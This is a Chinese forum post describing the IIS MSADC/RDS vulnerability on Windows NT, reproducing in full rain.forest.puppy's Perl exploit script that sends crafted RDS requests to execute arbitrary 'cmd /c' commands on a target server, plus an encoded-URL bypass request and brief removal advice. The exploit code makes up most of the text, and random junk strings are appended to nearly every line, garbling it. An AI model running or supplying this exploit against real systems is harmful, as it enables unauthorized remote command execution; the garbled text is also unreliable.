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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) %?9r(&  
&s}@7htE  
涉及程序: %(7wZ0Z  
Microsoft NT server <:yq~?  
6^z \;,p  
描述: i[BR(D&l_p  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 _XO)`D~  
Cx3m\ \c  
详细: {J6sM$aj  
如果你没有时间读详细内容的话,就删除: ^TCJh^4na  
c:\Program Files\Common Files\System\Msadc\msadcs.dll j[=_1~u}  
有关的安全问题就没有了。 pGcx jm  
>a`zkl  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 :Kc0ak)<n  
A>1p]#  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ]3 8<ly7  
关于利用ODBC远程漏洞的描述,请参看: j7HlvoZV  
~RLx;  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ))+9 8iU1s  
<[B[  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 =rO>b{,hs  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp o:Os_NaD  
8KELN(o$ 7  
这里不再论述。 22|M{  
+}L3T"  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:  '?>O  
LU IT=+  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset R&|)y:bg|  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Y" +1,?yH  
AqKx3p6  
2Q'XB  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 08n%% F  
P)j9\ muc  
#!perl zhm!sMlO  
# ~m09yc d<  
# MSADC/RDS 'usage' (aka exploit) script V1b_z  
# O> ^~SO  
# by rain.forest.puppy D>#v 6XI  
# VOK$;s'9}  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me f;XsShxr  
# beta test and find errors! SoGLsO+R  
f]6` GsE  
use Socket; use Getopt::Std;  |ukdn2Q  
getopts("e:vd:h:XR", \%args); bz@=zLBt  
J ]^gF|  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; A%8`zR  
l|tp0[  
if (!defined $args{h} && !defined $args{R}) { &*:)5F5  
print qq~ 7LZb*+>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } y<x_v )k-  
-h <host> = host you want to scan (ip or domain) JO6vzoS3  
-d <seconds> = delay between calls, default 1 second <7-,`   
-X = dump Index Server path table, if available = Vr[V@  
-v = verbose TKBK3N  
-e = external dictionary file for step 5 W me1w\0  
>,]e[/p  
Or a -R will resume a command session \ui~n:aWJ  
:a!a  
~; exit;} @DC2ci >  
it|:P  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; e^Wv*OD'  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} .O-DVW Cm  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 9X&qdA/q  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); e`2R{H  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} -V_S4|>   
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } SR8Kzk{  
pC. 4AkEO  
if (!defined $args{R}){ $ret = &has_msadc; Py0 i%pZ  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} )n[Mh!mn  
<m gTWv  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" WuZ n|j'  
. "cmd /c "; _ ,1kcDu  
$in=<STDIN>; chomp $in; k<";t  
$command="cmd /c " . $in ; LmdV@gR  
x<7` 109]  
if (defined $args{R}) {&load; exit;} U*U )l$!  
y\|\9Q%D  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; HPCA$LD  
&try_btcustmr; RIqxM  
G6F['g);  
print "\nStep 2: Trying to make our own DSN..."; C^: &3,  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [>9"RzEl  
iKH T  
print "\nStep 3: Trying known DSNs..."; Uk ;.Hrt.  
&known_dsn; [a*>@IR  
]BD5+>;  
print "\nStep 4: Trying known .mdbs...";  %!h+  
&known_mdb; aYCzb7  
4xn^`xf9  
if (defined $args{e}){ a} 7KpKCD  
print "\nStep 5: Trying dictionary of DSN names..."; #UeU:RJ1  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } @gGuV$Mw  
{QkH%jj  
print "Sorry Charley...maybe next time?\n"; +~.Jw#HqS  
exit; a2_IF,p*?  
\~j(ui|  
############################################################################## ]_xGVwem  
0]0M>vx u  
sub sendraw { # ripped and modded from whisker `ViNSr):J  
sleep($delay); # it's a DoS on the server! At least on mine... :>ST)Y@]w  
my ($pstr)=@_; wTbIS~!gF  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || VOOThdR  
die("Socket problems\n"); *!s?hHv  
if(connect(S,pack "SnA4x8",2,80,$target)){ /[dAgxL  
select(S); $|=1; ?+tZP3'  
print $pstr; my @in=<S>; TmAb! Y|F  
select(STDOUT); close(S); 8_$2aqr  
return @in; k8>^dZub  
} else { die("Can't connect...\n"); }} rGL{g&_  
^S2} 0N f  
############################################################################## \)kAhKtG  
?|YQtY  
sub make_header { # make the HTTP request MdjMTe s  
my $msadc=<<EOT leJd) {  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 HD|)D5wH|  
User-Agent: ACTIVEDATA 4c@F.I  
Host: $ip 'E8Qi'g  
Content-Length: $clen w.- i !Ls  
Connection: Keep-Alive /UyE- "S  
SP1oBR"3  
ADCClientVersion:01.06 N |L5Ru  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ,IATJs$E  
hd%F7D5  
--!ADM!ROX!YOUR!WORLD! )`7h,w J[1  
Content-Type: application/x-varg 5R G5uH/-<  
Content-Length: $reqlen ^TK)_wx  
:e vc  
EOT /! G0 g%k  
; $msadc=~s/\n/\r\n/g; ee` =B  
return $msadc;} Vo8"/]_h  
?+L6o C.;  
############################################################################## YWF<2l.  
v]S8!wU  
sub make_req { # make the RDS request bZfJG^3  
my ($switch, $p1, $p2)=@_; `sC8ro@Fm  
my $req=""; my $t1, $t2, $query, $dsn; lB@K;E@r8  
=R`2m  
if ($switch==1){ # this is the btcustmr.mdb query !PbFo%)  
$query="Select * from Customers where City=" . make_shell(); ka [NYW{.  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . P*sCrGO%  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Sd11ZC6  
e 3oIoj4o  
elsif ($switch==2){ # this is general make table query IvH+94[)  
$query="create table AZZ (B int, C varchar(10))"; jK1! \j  
$dsn="$p1";} El} z^e  
_%!hkc(  
elsif ($switch==3){ # this is general exploit table query /omVM u  
$query="select * from AZZ where C=" . make_shell(); Sp:de,9@  
$dsn="$p1";} .?:~s8kB  
}1 ^.A84a  
elsif ($switch==4){ # attempt to hork file info from index server ~;Kl/Z  
$query="select path from scope()"; IW*.B6Hw8  
$dsn="Provider=MSIDXS;";} 6 nhB1Aei  
8;rS"!qM  
elsif ($switch==5){ # bad query {4*%\?c,n  
$query="select"; FM];+d0  
$dsn="$p1";} tgnXBWA`!  
n_glYSV!  
$t1= make_unicode($query); &t4(86Bmq  
$t2= make_unicode($dsn); Vd~k4  
$req = "\x02\x00\x03\x00"; 8=uljn/  
$req.= "\x08\x00" . pack ("S1", length($t1)); 0[Aa2H*  
$req.= "\x00\x00" . $t1 ; h 42?^mV4?  
$req.= "\x08\x00" . pack ("S1", length($t2)); ;Yj&7k1  
$req.= "\x00\x00" . $t2 ; <0}'#9>O  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; z0Hh8*  
return $req;} 0l*/_;wo  
MLX.MUS  
############################################################################## ;_*F [ }w  
K)OlCpHc  
sub make_shell { # this makes the shell() statement %Kp}Wo6  
return "'|shell(\"$command\")|'";} eD0@n :  
k/O&,T77}J  
############################################################################## en)DN3  
b L~<~gA  
sub make_unicode { # quick little function to convert to unicode eyV904<F  
my ($in)=@_; my $out; qsx1:Ny 1  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ktRdf6:~  
return $out;} )=@ XF0  
\ 3N#%  
############################################################################## s#3{c@^3  
:8g \B{  
sub rdo_success { # checks for RDO return success (this is kludge) A:Z:&(NtE:  
my (@in) = @_; my $base=content_start(@in); K.~U%v}  
if($in[$base]=~/multipart\/mixed/){ #$E vybETx  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ,5:86'p  
return 0;} 3WS % H17  
C54)eT6  
############################################################################## ,zaveQ~l  
B%/Pn 2  
sub make_dsn { # this makes a DSN for us 2rM i~8 T  
my @drives=("c","d","e","f"); k@'.d)y0`  
print "\nMaking DSN: "; ?hYe4tc-#  
foreach $drive (@drives) { :QNEA3Q  
print "$drive: "; g&V.o5jIhc  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Xqk$[ peS  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" :nt%z0_  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 3-D!ZS&  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; =%p{ " <  
return 0 if $2 eq "404"; # not found/doesn't exist B^{DCHu/  
if($2 eq "200") { sYzG_* )  
foreach $line (@results) { @@QU"8q  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} }{"\"Bn_  
} return 0;} I\_R& v  
19_F\32  
############################################################################## =k z;CS+  
?}.(k/  
sub verify_exists { {U9jA_XX  
my ($page)=@_; Df9}YI ;?  
my @results=sendraw("GET $page HTTP/1.0\n\n"); -~g3?!+Hb  
return $results[0];} ;DTNw=  
2_Qzc&"[ 4  
############################################################################## 2S tpcAlU}  
=zKp(_[D  
sub try_btcustmr { x$E l7=.  
my @drives=("c","d","e","f"); U Lq%,ca  
my @dirs=("winnt","winnt35","winnt351","win","windows"); RfD$@q9  
Y~6pJNR  
foreach $dir (@dirs) { JcP'+@X"  
print "$dir -> "; # fun status so you can see progress Jz6PqU|=  
foreach $drive (@drives) { 7>'F=}6[Y  
print "$drive: "; # ditto '"EOLr\Z,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *HRRv.iQ  
$reqlenlen=length( "$reqlen" ); lMP7o&  
$clen= 206 + $reqlenlen + $reqlen; f  W )  
?#'qY6 ^  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); j.K yPWO  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ,\M'jV"S K  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ?g&]*zc^\  
\ gN) GR  
############################################################################## ,Xw/ t>  
h$!qb'|  
sub odbc_error { jL# akV  
my (@in)=@_; my $base; *=8)]_=f  
my $base = content_start(@in); Vswi /(  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this _ :z~P<%s  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >Et?7@   
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; U6Qeode  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {2nXItso  
return $in[$base+4].$in[$base+5].$in[$base+6];} ATU@5,9  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 1\2 m'o  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ]k Pco4  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} aj\'qRrU$  
` C1LR,J  
############################################################################## R8E<;^?j  
?OSd8E+itM  
sub verbose { i0P+,U  
my ($in)=@_; "YBA$ef$  
return if !$verbose; _C4^J  
print STDOUT "\n$in\n";} r{btBv  
V6L_aee}CK  
############################################################################## s-*XAn ot  
>dM'UpN@  
sub save { +%yh@X6  
my ($p1, $p2, $p3, $p4)=@_; [Xrq+O,  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; cE3co(j  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 1li`+~L F  
close OUT;} (#:Si~3  
>iCMjT]4  
############################################################################## _I9TG.AA.  
zR4huo  
sub load { e#seqx  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ,%C$~+xjM  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); (mEZ4yM  
@p=<IN>; close(IN); IkvH8E  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); @6E[K'5c1  
$target= inet_aton($ip) || die("inet_aton problems"); s 2E}+ #  
print "Resuming to $ip ..."; #yqcUbJY0R  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; bY<"$);s  
if($p[1]==1) { jC oZm(bi  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; L*_xu _F  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; l20q(lb  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); I}:/v$btM  
if (rdo_success(@results)){print "Success!\n";} *n47.(a2i  
else { print "failed\n"; verbose(odbc_error(@results));}} 9. R _=  
elsif ($p[1]==3){ g (~&  
if(run_query("$p[3]")){ ldxUq,p  
print "Success!\n";} else { print "failed\n"; }} yF:fxdpw  
elsif ($p[1]==4){ B5cTzY.h-  
if(run_query($drvst . "$p[3]")){ ~7m+cWC-+  
print "Success!\n"; } else { print "failed\n"; }} CR/LV]G  
exit;} VKlD"UTk  
mB\5bSFY`  
##############################################################################  }N[sydL  
7+c@pEU]  
sub create_table { r'8e"pTi  
my ($in)=@_; PyoLk  
$reqlen=length( make_req(2,$in,"") ) - 28; ~$@I <=L  
$reqlenlen=length( "$reqlen" ); #: F)A_Y  
$clen= 206 + $reqlenlen + $reqlen; 3lJK[V{'#'  
my @results=sendraw(make_header() . make_req(2,$in,"")); 1 ID! rxE  
return 1 if rdo_success(@results); #y?z2 !  
my $temp= odbc_error(@results); verbose($temp); 1^,rS  
return 1 if $temp=~/Table 'AZZ' already exists/; [`&cA#C9Yp  
return 0;}  LKm5U6  
BP7_o63/G  
############################################################################## PQ5DTk  
lRrOoON  
sub known_dsn { P k,^q8;  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go FUH1Z+9  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Y,a.9AWw)  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ^mGTZxO  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); _V;J7Vz  
Pg:Nz@CQ  
foreach $dSn (@dsns) { q\~7z1   
print "."; LP87X-qkjW  
next if (!is_access("DSN=$dSn")); Q.N^1?(>k  
if(create_table("DSN=$dSn")){ WgIVhj  
print "$dSn successful\n"; a}fW3+>  
if(run_query("DSN=$dSn")){ [;2v[&Po  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { i{,>2KVC|  
print "Something's borked. Use verbose next time\n";}}} print "\n";} xW09k6   
! 87ebo  
############################################################################## t^YDCcvoQ  
JvG t=v  
sub is_access { |h'ugx1iY  
my ($in)=@_; -,rl[1ZYZ  
$reqlen=length( make_req(5,$in,"") ) - 28; BYGLYT;Z  
$reqlenlen=length( "$reqlen" ); PvM<#zq_  
$clen= 206 + $reqlenlen + $reqlen; #*~ (  
my @results=sendraw(make_header() . make_req(5,$in,"")); .1}u0IbJ  
my $temp= odbc_error(@results); \!%3giD5!  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); a5)+5  
return 0;} $yt|nO  
l 0 1Lg6+S  
############################################################################## _x lgsa  
A_g'9  
sub run_query { -uh/W=Q1R  
my ($in)=@_; mF_/Rhu  
$reqlen=length( make_req(3,$in,"") ) - 28; )j$Bo{  
$reqlenlen=length( "$reqlen" ); _WkK%RYV  
$clen= 206 + $reqlenlen + $reqlen; 4Qw!YI#40$  
my @results=sendraw(make_header() . make_req(3,$in,"")); Jn&(v"_  
return 1 if rdo_success(@results); )&w\9}B:  
my $temp= odbc_error(@results); verbose($temp); B1GSZUd^?0  
return 0;} )~J/,\  
iX,Qh2(ig  
############################################################################## 8-m"]o3  
Fb_~{q  
sub known_mdb { XnNK )dUT}  
my @drives=("c","d","e","f","g"); P }PSS#nn  
my @dirs=("winnt","winnt35","winnt351","win","windows"); > {:8c-\2}  
my $dir, $drive, $mdb; v\<`"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; "XH]B  
TEYbB=.  
# this is sparse, because I don't know of many 86I".R$d  
my @sysmdbs=( "\\catroot\\icatalog.mdb", > 4^U=T#  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", xv)7-jlx  
"\\system32\\certmdb.mdb", y_'8m9Qy)  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% gK PV*  
4b (iGLrt0  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", H<qR^a  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 2^juLXc|R  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", zgO?%O  
"\\cfusion\\cfapps\\security\\realm_.mdb", CfVz'  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", {d3r>Ub)7d  
"\\cfusion\\database\\cfexamples.mdb", :gR`rc!  
"\\cfusion\\database\\cfsnippets.mdb", <}e<Zf!  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", R; IB o  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", gDA hl  
"\\cfusion\\brighttiger\\database\\cleam.mdb", VA]%i P,O-  
"\\cfusion\\database\\smpolicy.mdb", xX&*&RPZ  
"\\cfusion\\database\cypress.mdb", ZJx:?*0a  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Q8P;AN_JS  
"\\website\\cgi-win\\dbsample.mdb", !?KY;3L:  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", *z(.D\{%  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 3Y=S^*ztd  
); #these are just dCc*<S  
foreach $drive (@drives) {  :&Ul  
foreach $dir (@dirs){ '; qT  
foreach $mdb (@sysmdbs) { JY /Cd6\  
print "."; f",B;C  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){  u2DsjaL  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; M F& +4$q  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ F'Wef11Yz  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; {}.c.W+  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Z{e5 OJ  
Z,!Rj7wZ  
foreach $drive (@drives) { H6~QSe0l  
foreach $mdb (@mdbs) { alq>|,\x  
print "."; }e82e  
if(create_table($drv . $drive . $dir . $mdb)){ K r9 @  
print "\n" . $drive . $dir . $mdb . " successful\n"; q'W`t>2T  
if(run_query($drv . $drive . $dir . $mdb)){ {i=qx#2X?H  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; `; `34t_)  
} else { print "Something's borked. Use verbose next time\n"; }}}} 9m#`56G`  
} yJr'\(  
&"d4J?io`  
############################################################################## za24-q  
 Z3I<  
sub hork_idx { &3AGj,  
print "\nAttempting to dump Index Server tables...\n"; /at#[Pw~01  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; }U8H4B~UtY  
$reqlen=length( make_req(4,"","") ) - 28; j| 257D  
$reqlenlen=length( "$reqlen" ); {6~W2zX&  
$clen= 206 + $reqlenlen + $reqlen; DTJ~.  
my @results=sendraw2(make_header() . make_req(4,"","")); wD*_S}]  
if (rdo_success(@results)){ =!p6}5Z  
my $max=@results; my $c; my %d; &gq\e^0CRZ  
for($c=19; $c<$max; $c++){ $ biCm$a  
$results[$c]=~s/\x00//g; inp=-  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; hLBX,r)u  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; s'i1!GNF B  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 7^:s/xHO*  
$d{"$1$2"}="";} or(Z-8a_  
foreach $c (keys %d){ print "$c\n"; } 0C0iAp  
} else {print "Index server doesn't seem to be installed.\n"; }} BB~Qs  
$o-s?";  
############################################################################## 73P(oVj<  
YRB,jwne  
sub dsn_dict { SA}]ZK P  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); MF=@PE][  
while(<IN>){ W~gFY#w  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; sYeZ.MacU  
next if (!is_access("DSN=$dSn")); }n8,Ga%  
if(create_table("DSN=$dSn")){ `m3C\\9;  
print "$dSn successful\n"; c1Dhx,]ad  
if(run_query("DSN=$dSn")){ 1z*]MYU  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1z{Azp MZ  
print "Something's borked. Use verbose next time\n";}}} )82x)c<e  
print "\n"; close(IN);} 6n<:ph,h;  
zaX30e:R  
############################################################################## >\MV/!W  
Ff.gRx  
sub sendraw2 { # ripped and modded from whisker /\C9FGS  
sleep($delay); # it's a DoS on the server! At least on mine... GXa-g-d  
my ($pstr)=@_; [<bfwTFsl  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /SZsXaC '  
die("Socket problems\n"); F%L^k.y$  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4,FuQ}  
print "Connected. Getting data"; V5M_N;h  
open(OUT,">raw.out"); my @in; y_\vXY'  
select(S); $|=1; print $pstr; y%iN9 -t  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} fU$zG"a_  
close(OUT); select(STDOUT); close(S); return @in; N=-hXgX^  
} else { die("Can't connect...\n"); }} UiW( /L  
Kh3*\xT  
############################################################################## yl)}1DPP  
~,dj)x 3M  
sub content_start { # this will take in the server headers IaN|S|n~  
my (@in)=@_; my $c; ,p0R 4gi  
for ($c=1;$c<500;$c++) { /G\-v2iD  
if($in[$c] =~/^\x0d\x0a/){ %  &{>oEQ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } trg+" )a  
else { return $c+1; }}} YQ2ie>C8  
return -1;} # it should never get here actually YS/{q~$t  
evZ{~v& /  
############################################################################## x1wm]|BIf  
dxxD%lHCF  
sub funky { G{YLyl/9  
my (@in)=@_; my $error=odbc_error(@in); {b} ?I4)  
if($error=~/ADO could not find the specified provider/){ +d]}  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; u|B\@"0  
exit;} ?GX 5Pvg  
if($error=~/A Handler is required/){ |Q.t]TR'P  
print "\nServer has custom handler filters (they most likely are patched)\n"; w#]%I+  
exit;} mG\,T3/*  
if($error=~/specified Handler has denied Access/){ .#Z}}W#  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^D"}OQoh  
exit;}} ;,4Z5+  
mJ[LmQ<:  
############################################################################## 'V .4Nhd  
Spt[b.4mF  
sub has_msadc { EzwYqw  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _q M'm^z5  
my $base=content_start(@results); N%n#mV;  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); if r!ha+8!  
return 0;} Nmns3D  
R7( + ^%  
######################## lB.P   
U*1rA/"n  
r B)m{)  
解决方案: 'GS1"rkW<5  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll A\k@9w\Ll;  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 o~2bk<]z  
9T`xW]Zf  
拿出来充数 哈哈
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